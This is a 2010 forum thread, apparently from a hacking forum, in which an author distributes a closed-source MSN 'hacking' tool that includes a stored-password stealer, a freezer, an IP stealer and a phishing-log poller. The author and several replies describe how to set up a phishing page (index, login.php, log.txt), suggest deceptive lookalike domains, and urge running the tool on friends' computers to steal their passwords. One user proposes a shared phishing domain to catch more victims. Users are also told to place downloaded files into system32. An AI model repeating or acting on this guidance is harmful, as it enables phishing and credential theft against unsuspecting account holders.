Right click and select delete. seriously, how hard can it be. ? (Apr 10, 2010 02:09 PM)darki Wrote: [\[CITE\]](#) damnn nice!! you got the source?

The source code is currently private, i might release it in the future.

**gamer\_5494** - April 10, 2010, 9:58 pm

Any viruses? Did somebody scan this?

**Doddo** - April 10, 2010, 11:11 pm

Can just guess it's a sort of keylogger since that guy above can't delete it.

**-spider-** - April 11, 2010, 2:14 pm

So just because some guy above claims he can't delete it, for whatever reason you automatically presume it's a keylogger..

**AssignedAssassin** - April 11, 2010, 2:55 pm

looks sexy actually...i put it through sandboxie and it looks good  
do you know FOR SURE that all of these work on here? =)

**savvymatthew** - April 11, 2010, 6:02 pm

you can trust -spider- stop bitching

whats new about this looks the same, what did you Modified on it

**-spider-** - April 12, 2010, 5:43 pm

Thanks, I removed the ready made hack/phisher page and updated the application so others can use there own phisher/log.txt page, added

a psm changer and omegle chat thingy just for fun.

**AssignedAssassin** - April 12, 2010, 6:02 pm

the mailer doesnt work >.<  
unless im doing something wrong?

**ToxicSuicide** - April 12, 2010, 6:42 pm

Why doesnt nothing work ?

The only parts that did work associated with getting my msn pass.

**savvymatthew** - April 12, 2010, 11:36 pm

wow!!!! what the hell is wrong with you people ? make sure your running as administrator..

<personal note>

im not one to bitch talk, but i know hardly know nothing about hacking and this makes msn hacking easy as hell.... there is nothing wrong with this program.... all you are making spider look bad!!!!

**-spider-** - April 13, 2010, 3:31 am

You might need to put these files in to your system32 folder:  
<http://fastfreefilehosting.com/file/36682/system32-files-zip.html>

**Shadowking9830** - April 13, 2010, 12:43 pm

Nice release spider thank's mate.

**3 olaH** - April 13, 2010, 6:31 pm

this is a very cool program. thanks for sharing this beast of a program lol, look forward to "hopefully" seeing the source in the future, thanks again.?

**Jayke** - April 14, 2010, 11:26 am

this is a wicked tool i have been using for quite some time, but u shud bring back the mess hacker?

**-spider-** - April 14, 2010, 1:25 pm

Unfortunately, there was to many problems running the ready made phisher page. There was far to many other user's stealing accounts they didn't phish themselves and many other problems such as, the page was being detected and people who are against phishing was reporting the domains to get them suspended.

**fridge** - May 2, 2010, 3:42 pm

love the tool thank you man! the freezer is nice....and missing the mess hacker indeed... hehe!  
Cheers

**-PlanB-** - May 3, 2010, 12:58 am

Nice programm..how i can find the pwd for msn ( rami\_altermatt@hotmail.com) -> i musst delet a mail, there i send..

**corseo** - May 3, 2010, 8:13 am

thanks man :D really works good

**Frankie** - May 3, 2010, 1:47 pm

=) thank you, gonna use this

**hax4ever** - May 8, 2010, 2:36 am

Dont work on vista :S Error run-time error :S

**IceOnFire** - May 8, 2010, 3:04 pm

Omegle chatroom wont work, so won't msn revert.

It all says refresh page...

**EpicBoyy** - May 8, 2010, 6:35 pm

Thanks dude, looks epic. Will download when I'm at my own home.

**Different** - May 9, 2010, 10:20 am

Can I just point out, there is probably a very likely chance that in some way this contains virus', partly because there are no programs that can 'steal' or 'recover' a MSN/Hotmail password, so by having an option to recover a password, is defenetly not legitimate.

So to avoid risks, I wouldn't download any of this.

**Ramsay448** - May 9, 2010, 10:31 am

This program is Legit, i use it quite frequently now, no Keyloggers ?

great release -Spider- ?

Can I just point out, you dont know what your talking about...

ofcorce you can 'steal' and 'recover' a msn password with this application. It recovers the account and passwords that have been stored on the machine you run it on... therefore you can take it to your friends house for example, run it on there computer and steal there password.

I can't tell you or give you that phisher page because its against HF rules but about the url, its best to buy a good domain name or use a free one to make it look more realistic. 5GbHotmail.net and messfx.net are good domains and available ;)

The application is 100% clean, any detections are false positives and i still have the source code (somewhere) to prove this if need be.

How does it work? Or does it work? I tried the freezing and did not do a thing. I tried to MSN Hack

and did not work either. To shut the windows that pop up I have to use task manager. If I right click it does not shut down.

I am sorry bro, but I am new to this. I am not sure what you mean by phisher/log.txt and how to create it or what to do. I would need help.

The windows are the ones that open up when you click one of the buttons and opens a sub-program. It would seem like the x on the upper right corner would shut it down, but I click on it and right click as well and it stays open. I end up having to use task manager to shut all the program off.

And no, I did not register to post non-sense, but to learn from what is here. Sorry if that bothered you.

If you upload a phisher to a host you will have 3 files, 1)index 2)login.php

3) one named log.txt or something similar. You will then have a domain that looks something like:

<http://mydomain.com/log.txt> paste that into the box that says

"http://Enter-Your-Phishing-Domain/log.txt" (on the mess-hacker part of the application) click start phishing and your logs page will automatically refresh every 5 seconds. (this will save you time refreshing the page manually)

The windows are applications? there would be something completely wrong if they didn't open when you clicked them lol.

The x on the upper right corner allways shuts the application down for me, and i've never had any complaints before from anybody else who's used the application. Must be a problem at your end.

Quote:And no, I did not register to post non-sense, but to learn from what is here. Sorry if that bothered you.

If your really here to learn and post then fair enough. I, like most people here will happily help you should you need help with something, But if your only here to make 1 or 2 shitty post about my application then you know what you can do. ?

If you get error messages then put these files in to your system32 folder:

<http://fastfreefilehosting.com/file/36682/system32-files-zip.html>

Note: If you run vista or windows7 you are likely to run into alot of problems. The application is made in vb6 (Visual Basic) and was intended to be used only with Windows XP.

The freezer works for like 10 minutes then stops, other then that thanks for the download <3

**Axo** - July 20, 2010, 5:26 pm

cant we just agree on single phishing domain, and spread that one arround, so we get more victims, just like it worked with previous version

someone please make a phishing domain and post it here so we all can use it ... and once that domain gets canceled for some reason, we can come back here and set up new one

i know that everyone here is into hacking, dedicated in fucking up everyone else xD, but this time we can do some coop. for everyones good

**-spider-** - July 20, 2010, 6:39 pm

It's not that simple, in previous versions the phishing page got detected and the domains got suspended. There is also other problems, such as other people taking accounts they didn't phish themselves.

Also, phishing is against hackforums rules now.

**kayoh** - July 21, 2010, 1:38 am

**xxkaibaxx** - July 22, 2010, 2:16 am

I ran it in XP-compatibility mode, I ran it as admin, I put the 4 files into the Sys32 folder. It still doesn't seem to work.

[img]http://i32.[censored].com/9747ea.png[/img]

Is there anything else I'm doing wrong? >.<

It only does that for certain things.

It errors for freezer, chat, hacker, and IP stealer, but it allows Emailer, Macro, Add Contacts, Omegle, Psm Changer, L337 Speak, all that, to run flawlessly.

Thank you, It works now. ^-^

Btw, what does the Omegle thing do? Does it just link you to Omegle.com?

**olenils** - July 23, 2010, 2:39 am

i cant gett all of the options to work, like freezer, and some more, HELP?

I have added det system32 files to system32 folder on c:/windows - but it say that the files are missing

Yeah, it just loads [www.Omegle.com](http://www.Omegle.com) in a web browser.

I'm surprised your still about spider. It's been a while since I have seen you last. Still pursuing your passion - MSN Hacking? Great thread and tools, kudos to you.

Im still around, but haven't posted any application recently due to pursuing bigger and better things. I really wish i had the time to update this application to v8.0 it could of been so much better. Edit: just realised iv reached 2,000 posts and 99% of them are about msn, i think that deserves a custom made msn medal. lol

Wish you the best with your "bigger and better things", also I am sure many members would love to see an update to this application, I do hope you have time.

You do remember me though don't you? It would be hard to forget ?
